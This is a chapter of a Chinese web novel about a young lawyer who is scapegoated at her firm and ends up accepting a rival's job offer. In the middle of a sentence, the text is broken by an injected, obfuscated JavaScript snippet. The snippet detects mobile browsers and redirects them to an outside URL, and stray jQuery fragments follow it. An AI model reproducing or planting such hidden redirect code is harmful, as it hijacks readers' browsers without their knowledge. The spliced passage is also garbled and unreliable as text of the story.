19. 第 19 章

作品:《过分美丽

    两人约在一家咖啡厅,人不多,他坐在靠窗的位置,面前放着一杯美式。见她进来,抬了抬手。


    “听说最近日子不太好过。”岑叙深笑道。


    他这个人,表面上春风和煦,可多几次接触下来,就会发现那温和之下,是看不见底的深和冷。尤其是那鹰钩鼻和高耸的颧骨,总让人觉得此人不怀好意。


    “岑先生,有什么事情,一定要见面说?”唐觅问。


    “唐小姐对我有什么意见吗?突然这么疏远。”岑叙深道。


    上次在拉斯维加斯,唐觅便猜到他和周阅川有嫌隙,仔细想想当时的话,不过是在挑拨离间。不过她不明白,就她这样一个人,根本不值得他大费周章。


    唐觅没回答,窗外有车驶过,溅起一片水花。


    “你的事我都听说了。”岑叙深喝了一口咖啡,语气很淡,“弈诚那种地方,人走茶凉,你在那儿也没干多久,又离开几个月,如今再回来,恐怕只能得点基本工资。”


    唐觅笑了一下,“我知道,但职场都一样。”


    “知道是一回事,”他看着她的眼睛,说,“受着又是另一回事。”


    唐觅不说话。


    “阅川离得远。”他说,语气还是那么淡,“而且他那种人,向来不管职场纷争。你觉得他会在乎你今天被谁穿了小鞋吗?”


    “不会的。”他替她答,“他自己就是从那个位置爬上来的,早看透了。他不会管,你也别指望。”


    唐觅喉咙动了动,问:“那岑先生有何指教?”


    岑叙深顿了顿,道:“我准备在国内发展,现在也缺人,你过来。待遇比你现在好,也不用看谁脸色。”


    唐觅把目光移开,看着窗外。地面有水,亮晃晃的,长久地盯着,让人眼晕。


    “唐小姐,你是聪明人,靠男人不如靠自己。”


    岑叙深留下最后一句话,离开了咖啡厅。太阳已经完全落下去,路上来来往往的车,这座城市在发光。


    第二天在律所,唐觅刚进去,实习生工位上坐着两个小姑娘,正低头说话。她没在意,往自己位置走。


    走到一半,听见自己的名字。


    “……那你多倒霉啊!我听说唐律又没什么背景,也没案源,跟着她学不到东西啊!”


    “可不是,全是打印复印,而且都是小案子,好没意思。”


    说这话的是唐觅手下的实习生,刚来时特别有礼貌,见着她会甜甜地喊姐姐。


    “那还是沈律好,在她手下实习,天天都去见客户。而且待遇特别好,听说刚来没多久,人家就送了个香奈儿的小包。真是羡慕不来。”


    “人比人,气死人。昨天唐律扔了一叠材料给我,说什么看卷宗学习,其实就是替她编页码,真把我们当廉价劳动力了。”


    唐觅站在走廊拐角,听完了。然后走过去,在她那个实习生的桌上敲了敲。


    两个小姑娘抬头看见她,脸色一变。


    她看着自己的那个实习生,说:“你要是觉得跟着我没意思,可以申请转组。不用在背后说。而且给你的卷宗都是我选择的经典案例,确实是让你学习的。”


    她是真心对她,也想尽心尽责教她,光是为她找案例,就翻阅了近二十年的案子。只是没想到,人家会这么以为。


    实习生瞬间脸红了,低着头,没吭声。


    身后传来一阵高跟鞋的声音,沈菲儿端着一杯咖啡走过来。站在旁边,看了一眼那两个实习生,又看她。


    “哟,唐律师,教育小朋友呢?”


    唐觅没说话。


    沈菲儿勾唇笑了一下,“人家说的也是实话,你跟小孩撒什么气。有本事拿个大案子回来,让人家服你。”


    说着,又让身后跟着的实习生放下两杯咖啡,朝唐觅的实习生笑道:“想跟着我一组吗?”


    实习生猛点头。


    沈菲儿抬了抬眉毛,颇有得意之色,说:“那就收拾东西,直接过来吧。”


    职场上最磨人的,不是工作量,而是人际关系。很多人不是累在任务里,而是累在和某个人的相处中。


    唐觅和沈菲儿从最开始就不对付,一切都源于她抢了沈菲儿的内定项目。后来得知她的家境背景,无论如何,也是相处不好了。


    唐觅看着她那张精致妆容的脸,然后转身走了。


    接下来几天,她照常上班,照常开会,照常在茶水间碰见沈菲儿和她的小团体。她们聊天她就听着,她们笑她就低头喝水。有时候迫不得已需要沟通,也是三言两句,能不说话就不说话。


    每天早晨,一进弈诚,就好像被罩进一个玻璃中,每个人都将她排斥在外。


    然而没过几天,事情来了。


    一个项目出了问题。不是她的错,是客户那边给的材料有误。但这个项目她只参与过前期,后来被换成了沈菲儿负责。


    客户投诉到律所,大会上,合伙人语气严肃,必须要有人担责。


    沈菲儿说:“这个项目前期交接的确是我,但执行阶段唐觅也参与了。”


    她当时没参加这个会,这是后来陆文平告诉她的。他说的时候,眼神里有难以严明的东西。在弈诚,他说了也不算。


    “明天就会找你谈话,”陆文平说,“你心里要有个准备。”


    第二天下午,她被叫进某位高级合伙人的办公室。也是后来她才知道,那人是沈菲儿的亲戚。


    合伙人坐在宽大的办公桌后面,见她进来,抬了抬手让她坐。


    唐觅坐下。


    合伙人靠在椅背上,说:“项目的事你知道,客户那边要个说法。”


    唐觅辩解不是自己。


    合伙人看着她,那目光很淡,曲着手指在桌上一下下地敲着。


    “但是审批流程上是你签的字,项目其他人也都说你参与过。如果你把责任推给别人,恐怕不能服众。”


    唐觅一时语塞,心里觉得可笑。


    合伙人语气又缓了缓,像是为她好似的:“你刚回来,手上也没几个项目。这次配合一下,写个检讨,扣点绩效,面子上过得去,后面再补给你就行。”


    宽大办公桌上,摆一张合照,是几个高伙,个个西装革履,精英,体面,像某种秩序的代言人。


    事情最后,唐觅写了检讨。三百字,不长。写完发过去,那边回了个“收到”。绩效扣了。不多,但够她记住这件事。


    第二天早上,她在电梯里碰见沈菲


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352393|198371||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    儿。


    她背了一个新包,橘黄色的,金属锁头在电梯的灯光下亮得刺眼。


    两个人不说话,沈菲儿扯了下嘴角,似笑非笑。


    他们这样的人,无论表面装得再谦和有理,其实内心都是高高在上的。只要不同同一阶级,就得不到平等的尊重。


    沈菲儿只是不装而已。


    电梯门开,沈菲儿先一步出去,她跟在后面,有点想笑,但笑不出来。


    那天下午,陆文平把她叫进办公室。


    陆律师一点没绕弯子,开门见山道:“你最近和周先生那边出什么问题了吗?”


    听他一番话后,唐觅终于明白,原来周阅川最近在瑞士有个项目,而美国那边的团队抽不出人手,想从国内调一个过去。陆律师想做顺水人情,力荐了她,却遭到周阅川拒绝,说是她资历还不够。


    办公室里很安静,阳光从窗玻璃照进来,有点刺眼。墙角摆一盆绿植,先前精心养护,这段日子陆律师应是忙于工作,无暇修剪浇水,叶子都不像从前的翠绿。


    看着那盆绿植,唐觅忽然觉得自己和它差不多。摆在这儿,没人管,也不挪走。


    在旧金山时,周阅川说她学历不够,现在又说她资历不够。虽然是事实,但心底到底还是闷得慌。


    陆文平说:“你好好跟周先生那边说说,这是个好机会,不去可惜。”


    唐觅点点头,说知道了,转身往外走。


    走到门口,陆文平在后面叫她,“唐觅。”


    她停下来,没回头。


    陆文平沉默了两秒,说:“你别多想。”


    她“嗯”了一声,拉开门出去了。


    路过茶水间,里面一片欢声笑语,是沈菲儿那几个。


    唐觅回到位置,静坐许久。眼前的电脑屏幕是黑着的,映出她的脸,模糊的轮廓,面无表情。


    她拿起手机,点开岑叙深的号码,犹疑好一阵,又退出,点开了周阅川的名字。


    已经很久没和他联系了,上一次发消息还是他回美国,刚落地报了个平安。


    她算着时间,拨过去,“嘟——嘟——”响好几声,都无人接听。


    时差像一堵看不见的墙,隔开了依赖。一肚子的委屈想要倾诉,却像石头落入一口无底的井里,没有任何回声。


    所谓失联,只是没有人在同一时空回复你。


    她把手机放在桌上,闭上了眼睛。


    很久之后,周阅川回电,说在开早会,问她有什么事。


    唐觅张了张嘴,想说的话忽然说不出口了。


    “没事,就是问问你最近怎么样。”


    他沉默了两秒,说:“还行,就是有点忙。”


    她说那你去忙吧,注意身体,注意休息。


    他说好。


    两人无言,便挂断。


    手机被攥在手里,攥了很久。窗外的城市已经深夜,一片孤独的黑。


    她忽然想起那天岑叙深说的话:他不会管的,你别指望。


    不是指望,是不知道该怎么开口。


    那天晚上,唐觅辗转反侧,一夜未眠。纠结到天明,给岑叙深发了一条消息:


    “我什么时候可以入职?”